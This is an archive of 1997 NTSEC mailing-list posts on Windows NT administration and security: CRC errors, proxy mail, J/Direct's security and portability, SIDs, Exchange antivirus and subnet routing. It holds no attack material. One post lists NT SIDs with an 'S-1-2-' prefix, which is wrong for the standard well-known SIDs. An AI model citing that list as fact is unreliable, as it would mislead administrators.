Recently my small, quiet network has been hit fairly steadily with unknown incoming packets and CRC errors (128 in 3 minutes?). These aren't webpage requests or mail traffic (I've checked the logs) and I'm not running DNS or any other externally accessible services. A reboot stops the problem temporarily but then it starts minutes after I'm back up. Because my traffic is so small I can tell when anybody is accessing the network just by watching my hub lights and this is quite abnormal behavior. Does this sound like the symptoms of an attempted portscan or hacker? Are CRC errors something that can be caused by such an attack? I appreciate any insight, it's kind of unsettling.

TIA,

Wade Bee
Bee-Line Technologies, Inc
http://www.bee-line.net
"interactive internet"


I recently installed Proxy server on an NT4.0 (SP3) machine at a customer's
site who we are feeding with a 56k frame relay line. I realize that PING
and TRACERT will not work from workstations on their LAN for security
purposes, but I'm having problems with MS Internet Mail. Does allowing
mail to go through pose a security problem as well? I read the docs from
MS on proxy server and it says that it supports mail and news.

The customer is strict on security and has elected to use fake IP addresses
inside his network (the 192.168... C block as per RFC 1597) I am wondering
if mail needs to have IP addresses ???

Does anyone have any insight on the subject. This may be a little off
topic, so you may e-mail me directly at charlie@eaki.net

Thanks!

Charlie
This morning when I have a look at security events with the Events 
viewer, I found a few logon failure events. I try to click on it to 
view the details but Dr. Watson window pop up, telling me that:

An application error has occured and an application error log is 
being generated
 Services.exe

When I click on the "ok" button, another small window pop up, telling 
me that RPC service is down. I can' open the "Service" in Control 
Panel too because RPC service is down, so I can't restart the 
service. The only thing that I can do is shutdown my pc and start it 
up again. If I chooice restart, the pc will hang at there.

My PC is a Backup Domain Controller running on Windows NT 4.0 SP3 
with IISfix and OOBfix.

Could anyone help me on this? Without the veiwing events features, I 
am facing difficulty on monitoring my network.

regards,
gek po

What you should first do it try to determine what and where the packets are coming from.
If you can find tcpdump, or snoop programs for NT it will help, even if you throw a linux system on your network temporarily for the purpose. 
You may also want to contact your up-stream provider and ask them if they can determine where the packets are coming from. Once you do this you'll have a better understanding of what is happening and also a better vision of what needs to be done.

Leon O'Brien

-----Original Message-----
From: Bee-Line Technologies, Inc [SMTP:wade@bee-line.net]
Sent: Thursday, July 03, 1997 10:38 AM
To: 'ntsecurity@iss.net'
Subject: [NTSEC] CRC errors?

Recently my small, quiet network has been hit fairly steadily with unknown incoming packets and CRC errors (128 in 3 minutes?). These aren't webpage requests or mail traffic (I've checked the logs) and I'm not running DNS or any other externally accessible services. A reboot stops the problem temporarily but then it starts minutes after I'm back up. Because my traffic is so small I can tell when anybody is accessing the network just by watching my hub lights and this is quite abnormal behavior. Does this sound like the symptoms of an attempted portscan or hacker? Are CRC errors something that can be caused by such an attack? I appreciate any insight, it's kind of unsettling.

TIA,

Wade Bee
Bee-Line Technologies, Inc
http://www.bee-line.net
"interactive internet"


This is a problem with hardware. Either one of the modems has now developed a fault
or you have a shitty line linking them. CRC's are checksums added to the transmitted
data to tell you if it has become corrupted. It is simply a point to point problem.

OR

a server on one or both ends of the link is working so hard it can't keep up with the
data flow. I very much doubt you are being hacked.

..Petar

----------
From: Bee-Line Technologies, Inc 
To: 'ntsecurity@iss.net'
Subject: [NTSEC] CRC errors?
Date: Thursday, July 03, 1997 8:37 AM

Recently my small, quiet network has been hit fairly steadily with unknown incoming packets and CRC errors (128 in 3 minutes?).
These aren't webpage requests or mail traffic (I've checked the logs) and I'm not running DNS or any other externally accessible
services. A reboot stops the problem temporarily but then it starts minutes after I'm back up. Because my traffic is so small I can
tell when anybody is accessing the network just by watching my hub lights and this is quite abnormal behavior. Does this sound like
the symptoms of an attempted portscan or hacker? Are CRC errors something that can be caused by such an attack? I appreciate any
insight, it's kind of unsettling.

This i read in *** MSDNFlash ***

Is this secure, can someone explain or point me to more information
about this?

Wouter.

------------------------------------------------
JAVA DEVELOPERS GET DIRECT ACCESS TO WINDOWS
J/Direct allows developers to call the entire Win32 API directly,
expanding the breadth and convenience of access to Windows-based services
available to programmers using the Java programming language. Learn more
about J/Direct by visiting 
http://www.microsoft.com/java/. 
--------------------------------------------------


Thanx to everyone who tryed to help me, but no one could help
me realy.

I have installed the server again, but i still want to know how to
solve such a problem. please try to get a solution.

Wouter.

----
>Date: Wed, 02 Jul 1997 09:18:59 +0200
>To: ntsecurity@iss.net
>From: w.wessels@cc.ruu.nl
>Subject: NT4 server not starting after installing 2 times CAPI2.0
>
>Hello, anybody on this list who knows how to get in the server (NT4) after
>installing twice the capi2.0 driver (for a isdncard).
>
>What has happened:
>
>Yesterday i installed NT4 server.
>I installed the AVM A1 isdn card driver for NT,
>the CAPI 2.0 driver.
>I installed the NDIS WAN driver (this gives me a network card).
>I dialed in and connected to ISP. (no problems).
>I wanted to bundle my 2 B channels, choose some options in dialout, but it
>did not work.
>I finaly tryed to install a second NDISWAN driver and hope that will give me
>a second available networkcard so that i could 'multiple line' them.
>
>THIS DID NOT WORK, AND IT RESULT IN A BROKEN WINDOWS NT SERVER!
>
>If i try to logon the server, after a restart (cold or warm boot)
>the logon dialog is shown, but before i typed the password my screen
>is frozen.
>
>Can anyone help me, i don't want to install NT Server again.
>
>Thanx for reading.
>
>Wouter. 

Hi there!

>Recently my small, quiet network has been hit fairly steadily with unknown
incoming packets and CRC errors (128 in 3 >minutes?). These aren't webpage
requests or mail traffic (I've checked the logs) and I'm not running DNS or
any other >externally accessible services. A reboot stops the problem
temporarily but then it starts minutes after I'm back up. >Because my
traffic is so small I can tell when anybody is accessing the network just
by watching my hub lights and this >is quite abnormal behavior. Does this
sound like the symptoms of an attempted portscan or hacker? Are CRC errors
>something that can be caused by such an attack? I appreciate any insight,
it's kind of unsettling.

I think you'll better replace the network card in your server....

greetings
Alex




Sure we could explain that... This is the first time we get the evidence
that Microsoft thinks Java is a full programming language and can be
used for other thing that little applets for Web, like VB or VC++.

But what about the portability of a J/Direct application with Win32 calls?

Regards,

O.Harry
technical manager
Payment systems, Internet and Security
Cap Gemini

----------
De : w.wessels@cc.ruu.nl[SMTP:w.wessels@cc.ruu.nl]
Date d'envoi : jeudi 3 juillet 1997 08:13
A : ntsecurity@iss.net
Objet : [NTSEC] JAVA DEVELOPERS GET DIRECT ACCESS TO WINDOWS

This i read in *** MSDNFlash ***

Is this secure, can someone explain or point me to more information
about this?

Wouter.

------------------------------------------------
JAVA DEVELOPERS GET DIRECT ACCESS TO WINDOWS
J/Direct allows developers to call the entire Win32 API directly,
expanding the breadth and convenience of access to Windows-based services
available to programmers using the Java programming language. Learn more
about J/Direct by visiting 
http://www.microsoft.com/java/. 
--------------------------------------------------





This sounds like a network card going bad. You might first want to try 
reseating the card and all other cards on the motherboard, especially if they 
are PCI which are notorious for not fitting snugly in the slots. If that 
doesn't fix it try moving the connection to another port on the hub since that 
may also be the problem.

If you do all this and still have problems then start looking at the packets by 
using Network Monitor (a crippled version is supplied with NT or you can get 
the full version off the SMS CD).

--
Joel W. Barrett, Internetworking Consultant
RPM Associates, Inc. http://www.rpm.com
email: jbarrett@rpm.com, pager: 888-602-4566
http://www.mindspring.com/~cnebody (12/17/96)
Do Something Digital!



-----Original Message-----
From: Mr. Leon OBrien [SMTP:leon@networx.com.au]
Sent: Thursday, July 03, 1997 12:17 AM
To: 'Bee-Line Technologies, Inc'; 'ntsecurity@iss.net'
Subject: RE: [NTSEC] CRC errors?

What you should first do it try to determine what and where the packets are 
coming from.
If you can find tcpdump, or snoop programs for NT it will help, even if you 
throw a linux system on your network temporarily for the purpose.
You may also want to contact your up-stream provider and ask them if they can 
determine where the packets are coming from. Once you do this you'll have a 
better understanding of what is happening and also a better vision of what 
needs to be done.

Leon O'Brien

-----Original Message-----
From: Bee-Line Technologies, Inc [SMTP:wade@bee-line.net]
Sent: Thursday, July 03, 1997 10:38 AM
To: 'ntsecurity@iss.net'
Subject: [NTSEC] CRC errors?

Recently my small, quiet network has been hit fairly steadily with unknown 
incoming packets and CRC errors (128 in 3 minutes?). These aren't webpage 
requests or mail traffic (I've checked the logs) and I'm not running DNS or any 
other externally accessible services. A reboot stops the problem temporarily 
but then it starts minutes after I'm back up. Because my traffic is so small I 
can tell when anybody is accessing the network just by watching my hub lights 
and this is quite abnormal behavior. Does this sound like the symptoms of an 
attempted portscan or hacker? Are CRC errors something that can be caused by 
such an attack? I appreciate any insight, it's kind of unsettling.

TIA,

Wade Bee
Bee-Line Technologies, Inc
http://www.bee-line.net
"interactive internet"

On Thu, 3 Jul 1997 w.wessels@cc.ruu.nl wrote:

> This i read in *** MSDNFlash ***
> Is this secure, can someone explain or point me to more information
> about this?

I really don't know how secure it is, but it certainly sounds like a
hacker's dream. Imagine having access to the _whole_ Win32 API from a Java
application??! This way you can ofcourse make applications that run
faster, and have a lot more functionality, but if security isn't taken
seriously this could lead to some serious problems. Anyway, I think
Microsoft can't afford screwing up anymore so they probably have taken
security seriously (I guess they have a security zone-system in IE 4,
and Authenticode will probably also be used, well, I wouldn't know, I use
Netscape.. :))

So now it's finally time to kiss goodbye to cross-platform Java... 

Here's a few pointers for more information:

http://www.microsoft.com/corpinfo/press/1997/Jun97/Jdirecpr.htm
http://www.microsoft.com/java/resource/jdirect.htm
http://www.microsoft.com/java/


--
Anders Lindh
http://anders.compart.fi/

 Issue a finger reguest on me (anders@compart.fi) to get my PGP key 

Todays Random Blonde joke (#53): 

What would have happened if Pee Wee Herman were blond?

 He would have had something better in his hand.




On Thu, 3 Jul 1997, Olivier Harry wrote:
> Sure we could explain that... This is the first time we get the evidence
> that Microsoft thinks Java is a full programming language and can be
> used for other thing that little applets for Web, like VB or VC++.

They had to, everyone else takes it seriously enough already...

> But what about the portability of a J/Direct application with Win32 calls?

There is none. That's kinda the point (for Microsoft, anyway).

-- 
Mikko Rauhala, sivari - mjr@iki.fi - http://www.iki.fi/mjr/

I hope this will not be a standard.
Imagine that your browsing, and you meet a Java applet that use your
modem to dial.
Or a applet that uses your connection to the net to break in systems.
Or a applet that prints your paper till 'paper-low' ...

Well, also i'm intrested in which API calls are possible in NT and a 
description of each call, can someone do me a favour by sending me such a
document?

Wouter.
----
At 10:06 3-07-97 +0300, Anders Lindh wrote:
>On Thu, 3 Jul 1997 w.wessels@cc.ruu.nl wrote:
>
>> This i read in *** MSDNFlash ***
>> Is this secure, can someone explain or point me to more information
>> about this?
>
>I really don't know how secure it is, but it certainly sounds like a
>hacker's dream. Imagine having access to the _whole_ Win32 API from a Java
>application??! This way you can ofcourse make applications that run
>faster, and have a lot more functionality, but if security isn't taken
>seriously this could lead to some serious problems. Anyway, I think
>Microsoft can't afford screwing up anymore so they probably have taken
>security seriously (I guess they have a security zone-system in IE 4,
>and Authenticode will probably also be used, well, I wouldn't know, I use
>Netscape.. :))
>
>So now it's finally time to kiss goodbye to cross-platform Java... 
>
>Here's a few pointers for more information:
>
>http://www.microsoft.com/corpinfo/press/1997/Jun97/Jdirecpr.htm
>http://www.microsoft.com/java/resource/jdirect.htm
>http://www.microsoft.com/java/
>
>
>--
>Anders Lindh
>http://anders.compart.fi/
>
> Issue a finger reguest on me (anders@compart.fi) to get my PGP key 
>
>Todays Random Blonde joke (#53): 
>
>What would have happened if Pee Wee Herman were blond?
>
> He would have had something better in his hand.
>
>
>
>
>
>
>

Internet Mail does not need "real" IP adresses. However, you need to create a hole in the proxy for the mail traffic. If you use the RWS software, you should be all set. Change allowed traffic on the Remote Windows Socket object. 

SMTP out (POP3 clients send using SMTP)
POP3 in/out. (but they receive using POP3)

The "proxy" only works for www, ftp and gopher access. To use any other protocol, use the RWS client.

This would indeed present a less tight security. 

Magnus Lööf
Unisys Professional Services
Solna, Sweden
http://www.unisys.se

Personal Homepage:
http://hem1.passagen.se/magster


----------
Från: Charlie Derk[SMTP:charlie@eaki.net]
Skickat: den 3 juli 1997 02:52
Till: ntsecurity@iss.net
Angående: [NTSEC] Proxy Server Security

I recently installed Proxy server on an NT4.0 (SP3) machine at a customer's
site who we are feeding with a 56k frame relay line. I realize that PING
and TRACERT will not work from workstations on their LAN for security
purposes, but I'm having problems with MS Internet Mail. Does allowing
mail to go through pose a security problem as well? I read the docs from
MS on proxy server and it says that it supports mail and news.

The customer is strict on security and has elected to use fake IP addresses
inside his network (the 192.168... C block as per RFC 1597) I am wondering
if mail needs to have IP addresses ???

Does anyone have any insight on the subject. This may be a little off
topic, so you may e-mail me directly at charlie@eaki.net

Thanks!

Charlie


On Thu, 3 Jul 1997, Anders Lindh wrote:

> application??! This way you can ofcourse make applications that run
> faster, and have a lot more functionality, but if security isn't taken
> seriously this could lead to some serious problems. Anyway, I think
> Microsoft can't afford screwing up anymore so they probably have taken
> security seriously (I guess they have a security zone-system in IE 4,

I personally wouldn't bet on it... Anything to shovel out more products
and (mis)features. From a security point of view, I'd wait long and
patiently before allowing any such extended applets to be run (for
applications it's kinda a moot point anyway).

> So now it's finally time to kiss goodbye to cross-platform Java... 

So who's forcing you to use J/Direct?

-- 
Mikko Rauhala, sivari - mjr@iki.fi - http://www.iki.fi/mjr/

 Also have a look at www.ntsecurity.com, they have an ERD util that can 
 handle remote servers.
 
 
 Mark


______________________________ Reply Separator _________________________________
Subject: Re: [NTSEC] Remote ERD?
Author: Kris Carlier at Internet
Date: 01/07/97 23:57


Jason,
 
> Anyway to remotely make ERDs? Would be nice to have an app that would 
> make them for remote servers.
 
have a look at www.omna.com... Andy Baron has a solution for this kind of 
problems.
 
kr=
 
 
 \\\___///
 \\ - - //
 ( @ @ )
 +---------------oOOo-(_)-oOOo-------------+ 
 | kris carlier - carlier@iguana.be | 
 | Hiroshima 45, Tsjernobyl 86, Windows 95 | 
 | Linux, the choice of a GNU gener8ion | 
 | SMS: +32-75-61.43.05 | 
 +------------------------Oooo-------------+
 oooO ( )
 ( ) ) /
 \ ( (_/
 \_)
 
 
 Received: from iss.net (208.21.0.5) by mlhst.wavetech.com with SMTP
 (IMA Internet Exchange 2.1 Enterprise) id 00011A69; Wed, 2 Jul 97 15:52:11
-0500
Received: (qmail 29478 invoked by alias); 2 Jul 1997 17:36:33 -0000
Delivered-To: nt-out-link@iss.net
Received: (qmail 29458 invoked by alias); 2 Jul 1997 17:36:21 -0000
Delivered-To: nt-out@iss.net
Received: (qmail 29427 invoked by uid 15); 2 Jul 1997 17:36:13 -0000
Received: (qmail 29380 invoked from network); 2 Jul 1997 17:36:02 -0000
Received: from arden.iss.net (root@208.21.0.8)
 by phoenix.iss.net with SMTP; 2 Jul 1997 17:36:02 -0000
Received: from inlimbox.iguana.be (root@pool02a-124.innet.be [194.7.229.124]) by
arden.iss.net (8.8.6/8.7.3) with ESMTP id NAA14958 for ;
Wed, 2 Jul 1997 13:35:53 -0400
Received: from inlimbox.iguana.be (inlimbox.iguana.be [192.168.1.3]) by
inlimbox.iguana.be (8.7.6/8.7.3) with SMTP id XAA07305; Tue, 1 Jul 1997 23:57:28
+0200
Date: Tue, 1 Jul 1997 23:57:27 +0200 (MET DST)
From: Kris Carlier 
To: "Nash, Jason X" 
cc: "'ntsecurity@iss.net'" 
Subject: Re: [NTSEC] Remote ERD?
In-Reply-To: <31072D1EF9E3D011BFF500805FE210614D32@rlghncntx000.usps.gov>
Message-ID: 
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ntsecurity@iss.net
Precedence: bulk
Reply-To: Kris Carlier 
X-Loop: ntsecurity
X-Comment: TO UNSUBSCRIBE: email "unsubscribe ntsecurity" to majordomo@iss.net
X-Comment: DO NOT send subscribe/unsubscribe messages to ntsecurity@iss.net
On Thu, 3 Jul 1997, Mikko J Rauhala wrote:
> I personally wouldn't bet on it... Anything to shovel out more products
> and (mis)features. From a security point of view, I'd wait long and
> patiently before allowing any such extended applets to be run (for
> applications it's kinda a moot point anyway).

That's usually the best approach to new "technology" like this. We all
know Microsoft: things look good on paper, but the real products... well
you know.. :)
But there will still be alot people that are going to eagerly use J/Direct
(was that the name of this thing? I already forgot it.. :)). Microsoft
does have a couple of hundred thousand MSDN members that, well, adore
Bill. The same thing goes for their Internet Explorer; people use it more
and more. It's sad that Microsoft does have this much affluance in the PC
markets... 
 
 
> > So now it's finally time to kiss goodbye to cross-platform Java... 
> So who's forcing you to use J/Direct?

Nobody, but it still sounds tempting. This opens alot of operunities as a
programmer... And the new IE, you can't say that a Java performance boost
of 30-40 times would hurt ? 
It's kinda sad; I really hope that Netscape and others can keep up in this
competition, but Microsoft does have almost endless resources and they can
do whatever they want..

just my 0.2 cents..


--
Anders Lindh 
http://anders.compart.fi/

 Issue a finger reguest on me (anders@compart.fi) to get my PGP key 


Todays Random Blonde joke (#53): 

What would have happened if Pee Wee Herman were blond?

 He would have had something better in his hand.




Small problem, I wonder if anyone can shed any light?

I have a small secondary network I've set up, and it's attached to my existing network (NT/IIS/Post office/DNS etc.)

The existing network has a 1/4 class C in the 195 range, and works perfectly...

The new one, I've set up on 192.168.x.x

Neither network can see the other... where the heck have I gone wrong? I don't know if it's a security issue, or a lack of understanding of TCP/IP...

I even tried setting up a static route between the two, but still if I ping 192.168.x.x from the 'live' box, off it goes into the wilderness trying to find it on the Internet... Do I need to make my live box multi-homed, with a second nic configured on an IP address from the 192.168.x.x range? (Or assign a second address to the existing card?)

Regards

Bob

On Thu, 03 Jul 1997 08:13:06 +0200, you wrote:

>This i read in *** MSDNFlash ***
>
>Is this secure, can someone explain or point me to more information
>about this?
Plainly spoken it enables you to make WIN32 API calls from Java.
This is a _very_ Bad Thing!
It degrades Java to a security level equal to that of ActiveX.
Another reason to stay away from Internet Explorer 4.0.

just my 0.01$

Dietz

-- 

 Dietz Proepper, [Software|Web] Designer, S.E.P.P. MED
 AKA tik on IRC, bladerunner on netrek, 
 
 U:Shit! S:What? U:Windoz! S:No U:Yes S:Shit!

+ opinions expressed in here are strictly my 
+ own ones. Neither S.E.P.P. MED nor heaven 
+ or hell shall be made responsible.
That's the rub. Microsoft doesn't want portability.

This is another way to get a win-win for Bill. He gets to say he
is using the "industry standard" Java (stretching the truth?),
can attract lots of windows programs who can code this stuff, and
finally (and this is the big one) get more people on the windows
bandwagon. 

This could splinter Java terribly (almost akin to the BSD vs SYSV
wars). Stuff like "my java lets me do these 'wonderful' things in
windows, your java is slow and can only play in a sandbox.

I blame SUN for not getting their act together eariler with locking
down Java with standards, trademarks, and usage rights. Yea, that
is counter to the free Internet, but look what is happening now.
It is very sad.

Olivier Harry wrote:
> 
> Sure we could explain that... This is the first time we get the evidence
> that Microsoft thinks Java is a full programming language and can be
> used for other thing that little applets for Web, like VB or VC++.
> 
> But what about the portability of a J/Direct application with Win32 calls?
> 
> Regards,
> 
> O.Harry
> technical manager
> Payment systems, Internet and Security
> Cap Gemini
> 
> ----------
> De : w.wessels@cc.ruu.nl[SMTP:w.wessels@cc.ruu.nl]
> Date d'envoi : jeudi 3 juillet 1997 08:13
> A : ntsecurity@iss.net
> Objet : [NTSEC] JAVA DEVELOPERS GET DIRECT ACCESS TO WINDOWS
> 
> This i read in *** MSDNFlash ***
> 
> Is this secure, can someone explain or point me to more information
> about this?
> 
> Wouter.
> 
> ------------------------------------------------
> JAVA DEVELOPERS GET DIRECT ACCESS TO WINDOWS
> J/Direct allows developers to call the entire Win32 API directly,
> expanding the breadth and convenience of access to Windows-based services
> available to programmers using the Java programming language. Learn more
> about J/Direct by visiting
> http://www.microsoft.com/java/.
> --------------------------------------------------

-- 
barry

|======================================================================
|Barry A. Suskind |"If it weren't for change, your job would 
|GE Information Services |consist of making sure the corporate abacus
|Email: bsuskind@is.ge.com |rods were adequately greased" - John Cleese
|Phone: (301)-340-4667 |===========================================
|SnailMail: 401 N Washington St, Mail Stop: MC07D, Rockville MD, 20850
Does anyone knows how the SID is generated and whether it is true that
it is unique for every object for every installation of NT. I understand
that User, Group, Computer and [domain|computer] SAM objects are
identified by a SID. 

I did some research by using the getsid utility in NT4 ResKit on several
install of NT 4 server and workstation both in a domain model and
standalone setup and found the following:

The NT built-in groups gets exactly the same SID for every install of
the NT and is as follows:

Administrators S-1-2-32-544
Users S-1-2-32-545
Guests S-1-2-32-546
Power Users S-1-2-32-547
Account Operators S-1-2-32-548
Server Operators S-1-2-32-549
Print Operators S-1-2-32-550
Backup Operators S-1-2-32-551
Replicator S-1-2-32-552

The Administrator and Guest user accounts and Domain Admins, Domain
Users and Domain Guest gets the following SIDs:
Administrator S-1-2-21-xxxx-xxxx-xxxx-500
Guest S-1-2-21-xxxx-xxxx-xxxx-501
Domain Admins S-1-2-21-xxxx-xxxx-xxxx-512
Domain Users S-1-2-21-xxxx-xxxx-xxxx-513
Domain Guests S-1-2-21-xxxx-xxxx-xxxx-514 

where xxx-xxx-xxx is a large 3 field decimal number representing the
computer or the domain SAM.

The domain name and for standalone server or workstation the computer
name which represents its own domain gets the following SID:
Domain or Computer SAM S-1-2-21-xxxx-xxxx-xxxx--1

All the other objects which includes Users, Local and Global Groups get
the following SID with the last field starting from 1000 for the first
object and increasing by one for every new object:

User1 S-1-2-21-xxxx-xxxx-xxxx-1000
User2 S-1-2-21-xxxx-xxxx-xxxx-1001
Domain Group1 S-1-2-21-xxxx-xxxx-xxxx-1002

Regards

Rauf.Rahim@its.csiro.au
------------------------------------------------------------------------
--------------------------------------
Site IT Manager, CSIRO Information Technology Services
PO Box 225, Dickson ACT 2602, Australia
Does anyone knows how the SID is generated and whether it is true that
it is unique for every object for every installation of NT. I understand
that User, Group, Computer and [domain|computer] SAM objects are
identified by a SID. 

I did some research by using the getsid utility in NT4 ResKit on several
install of NT 4 server and workstation both in a domain model and
standalone setup and found the following:

The NT built-in groups gets exactly the same SID for every install of
the NT and is as follows:

Administrators S-1-2-32-544
Users S-1-2-32-545
Guests S-1-2-32-546
Power Users S-1-2-32-547
Account Operators S-1-2-32-548
Server Operators S-1-2-32-549
Print Operators S-1-2-32-550
Backup Operators S-1-2-32-551
Replicator S-1-2-32-552

The Administrator and Guest user accounts and Domain Admins, Domain
Users and Domain Guest gets the following SIDs:
Administrator S-1-2-21-xxxx-xxxx-xxxx-500
Guest S-1-2-21-xxxx-xxxx-xxxx-501
Domain Admins S-1-2-21-xxxx-xxxx-xxxx-512
Domain Users S-1-2-21-xxxx-xxxx-xxxx-513
Domain Guests S-1-2-21-xxxx-xxxx-xxxx-514 

where xxx-xxx-xxx is a large 3 field decimal number representing the
computer or the domain SAM.

The domain name and for standalone server or workstation the computer
name which represents its own domain gets the following SID:
Domain or Computer SAM S-1-2-21-xxxx-xxxx-xxxx--1

All the other objects which includes Users, Local and Global Groups get
the following SID with the last field starting from 1000 for the first
object and increasing by one for every new object:

User1 S-1-2-21-xxxx-xxxx-xxxx-1000
User2 S-1-2-21-xxxx-xxxx-xxxx-1001
Domain Group1 S-1-2-21-xxxx-xxxx-xxxx-1002

Regards

Rauf.Rahim@its.csiro.au
------------------------------------------------------------------------
--------------------------------------
Site IT Manager, CSIRO Information Technology Services
PO Box 225, Dickson ACT 2602, Australia
>> From anders@compart.fi Thu Jul 3 05:42:41 1997

>> But there will still be alot people that are going to eagerly use J/Direct
>> (was that the name of this thing? I already forgot it.. :)). Microsoft
>> does have a couple of hundred thousand MSDN members that, well, adore
>> Bill. The same thing goes for their Internet Explorer; people use it more
>> and more. It's sad that Microsoft does have this much affluance in the PC
>> markets... 

Reality check: *I* am a member of the MSDN for one reason - there is a lot
of documentation available via MSDN membership that I could find nowhere
else. If I have to support MSW??, I need more documentation than that
which comes with the system. The included documentation seems to be very
user oriented and leaves a lot unsaid that an admin needs to know.

As for MSIE, if something is bundled, you are likely to use it over anything
that has to be added. It's usually much easier to implement
a solution in a space where there are no working solution than it is to
replace a working solution with a potentially better solution. Another
(more concise) way to say this is "good enough is the enemy of better".
"Better" often has to be overwhelmingly better in order to displace
"good enough" so with MS bundling MSIE with MSWNT (and MSW95?) and moving
to a shell that integrates MSIE into the Explorer shell (or is it the
reverse), there will a *very* small niche for *any* other WWW browser.

MS may find that this integration has become a millstone around their
collective neck as it will tie together the production cycles of otherwise
unrelated products. Witness the example of the unbundling of the C
compiler in some UNIX environments so that it and the OS development
cycles could uncoupled (and perhaps so they could make more money on
an additional product :-)).
On Wed, 2 Jul 1997, Bee-Line Technologies, Inc wrote:
[ Please use newlines. ]
> Recently my small, quiet network has been hit fairly steadily with unknown
> incoming packets and CRC errors (128 in 3 minutes?). These aren't webpage
> requests or mail traffic (I've checked the logs) and I'm not running DNS or
> any other externally accessible services.

As far as I can see, there are three possibilities:

1. You have general network problems, plain and simple.

2. Someone thinks he's found a new denial of service attack which doesn't
 seem to be working (unless you count the reboots you are doing to try to
 clear the problem ;-)

3. Someone is probing your site, and has either found a particularly clever
 way of doing it, or has screwed up his tcp checksum code (I do this with
 quite frightening regularity.)

If it's option 3, or possibly option 2, then the expected responses have to
find some way of getting back to the attacker. Dump the packets, and get out
the RFCs... (Or post a few here?)

Personally, I'd probably go for option 1.

Incidentally, how do you know that "These aren't webpage requests or mail
traffic (I've checked the logs)"? Bad checksums should be rejected by the
transport layer and never reach the application layer, and so will clearly
never make it to the application logs (is this right for NT?)

Besides, if you have general network corruption (and you're using ethernet),
then there's at least a 2/1500 chance that the corruption is to the destination
port (and probably at least a factor of three more likely), and so without
parsing the tcp data, you have no way of determining what the packet contains.

 -- Bob

Just had a thought: what does NT do if it receives UDP/TCP with zero checksum?

R.Tinsley@rhbnc.ac.uk Mobile: +44 973 669346

Hello all,

Which books would you recommend on NT4.0 Workstation & Server
Security? Thanks,

 Dimitris

-- 
Dimitris Tsapakidis http://www.rabbit.co.uk/dimitris/
dimitris@alien.bt.co.uk Security Research, BT Labs, Ipswich, UK
To set up multiple ip addresses on a single NIC go to Control Panel, Network, 
Protocols, TCP/IP. In the IP Address tab select Advanced button and you'll be 
able to add the second IP address.

--
Joel W. Barrett, Internetworking Consultant
RPM Associates, Inc. http://www.rpm.com
email: jbarrett@rpm.com, pager: 888-602-4566
http://www.mindspring.com/~cnebody (12/17/96)
Do Something Digital!



-----Original Message-----
From: Bob Love [SMTP:bob@raha.com]
Sent: Thursday, July 03, 1997 5:37 AM
To: ntsecurity@iss.net
Subject: [NTSEC] Too much security, or finger trouble?

Small problem, I wonder if anyone can shed any light?

I have a small secondary network I've set up, and it's attached to my existing 
network (NT/IIS/Post office/DNS etc.)

The existing network has a 1/4 class C in the 195 range, and works perfectly...

The new one, I've set up on 192.168.x.x

Neither network can see the other... where the heck have I gone wrong? I don't 
know if it's a security issue, or a lack of understanding of TCP/IP...

I even tried setting up a static route between the two, but still if I ping 
192.168.x.x from the 'live' box, off it goes into the wilderness trying to find 
it on the Internet... Do I need to make my live box multi-homed, with a second 
nic configured on an IP address from the 192.168.x.x range? (Or assign a second 
address to the existing card?)

Regards

Bob

Search the Exchange mailing list archives at http://www.msexchange.org
for information.

Dan Nelson
Cambridge Network Solutions - Cambridge Technology Partners
V: 617.374.8344 F: 617.415.3300 mailto:dnelso@ctp.com


>-----Original Message-----
>From: Turner, Bob [SMTP:c62fi89@ibx.com]
>Sent: Thursday, July 03, 1997 8:06 AM
>To: 'ntsecurity@iss.net'
>Subject: [NTSEC] Anti-Virus for Exchange Server?
>
>Is anyone successfully running an Anti-Virus Service that runs with 
>Exchange Server? I'd like to have attachments scanned when they go 
>through Exchange Server.
>
>What products do you recommend and why?
>
>Bob
>

> Author: Barry Suskind 
> That's the rub. Microsoft doesn't want portability.
 
N. Petreley wrote a nice piece on this in InfoWorld, June 30, last 
page:

"To the Java developers who choose Java to tap into this growing 
market, Microsoft cannot possibly make Windows the best Java platform 
by providing hooks into the 32-bit Windows API. But for Windows 
developers, technologies such as J/Direct and Vibe will make Java a 
wonderfully attractive option."

Vibe is a product by Visix (www.visix.com) that extends Java for 
platform-specific features on Windows, Solaris, MacOS, OS/2, IRIX, AIX, 
HP/UX, Linux, and DigitalUnix.

This all just seems to be a bridge from old to new that confirms Java 
has a bright future. J/Direct is only for the Windows folks -- M$ is 
trying to keep abreast of progress rather than, as some would claim, 
drag Java down to its standards.

Davi

davi-ottenheimer@uiowa.edu
Is anyone successfully running an Anti-Virus Service that runs with 
Exchange Server? I'd like to have attachments scanned when they go 
through Exchange Server.

What products do you recommend and why?

Bob

On Thu, 3 Jul 1997, Barry Suskind wrote:

> can attract lots of windows programs who can code this stuff, and
> finally (and this is the big one) get more people on the windows
> bandwagon. 

Hasn't ActiveX been available to Java from windows for awhile now? This
move is just an extensions of that idea.
 
> I blame SUN for not getting their act together eariler with locking
> down Java with standards, trademarks, and usage rights. Yea, that
> is counter to the free Internet, but look what is happening now.
> It is very sad.

Agreed. Microsoft has always had a way of leveling the playing field. 
Generally with dynamite and chainsaws.

This would bug me less if I though Microsoft would pay for what they have
done. Alas, it will be we the public who suffer.

-
Mike Miller
mke@llnl.gov "email, the ultimate push technology."
speaking for myself

Turner, Bob wrote:
> 
> Is anyone successfully running an Anti-Virus Service that runs with
> Exchange Server? I'd like to have attachments scanned when they go
> through Exchange Server.
> 
> What products do you recommend and why?
> 
> Bob
I would recomend Trend Micro's Product because it is the only one
I've ever worked with. They actually have two products, one will
scan exchange mailboxes, the other acts as an SMTP gateway, scanning
SMTP traffic that goes through it.

http://www.antivirus.com or
http://www.trendmicro.com
-- 
------------------------------------------------------------
Chris Plunkett System Technician
Breakwater Technologies Inc.
phone:(425)803-5002x112 Fax:(425)803-5001
http://www.breakwater.net mailto:chris@breakwater.net
Hello,

Does anyone know how to setup IIS ftp where when the actual NT
users ftp in they get their own home directory, as defined
in the User Manager, and not the ftproot directory?

If this cannot be done, how does everyone support ftp for their
NT Users?


Thanks,

Les Mayeda
Cedars-Sinai Medical Center
mayeda@csmc.edu


If you're using Java to write applications, not applets, then the usual
sandboxing isn't an issue -- by definition, a Java _application_ gets
complete access to the local machine, so that if (say) you're writing a
spreadsheet in Java, it can read, write, create and delete spreadsheet
files.

If you're using it to write an applet, then its equivalent to an ActiveX
control. You'd sign the applet, and only people who trust you will
download it. Kind of like buying something in original shrink wrap from
an Egghead, only with less chance of tampering.

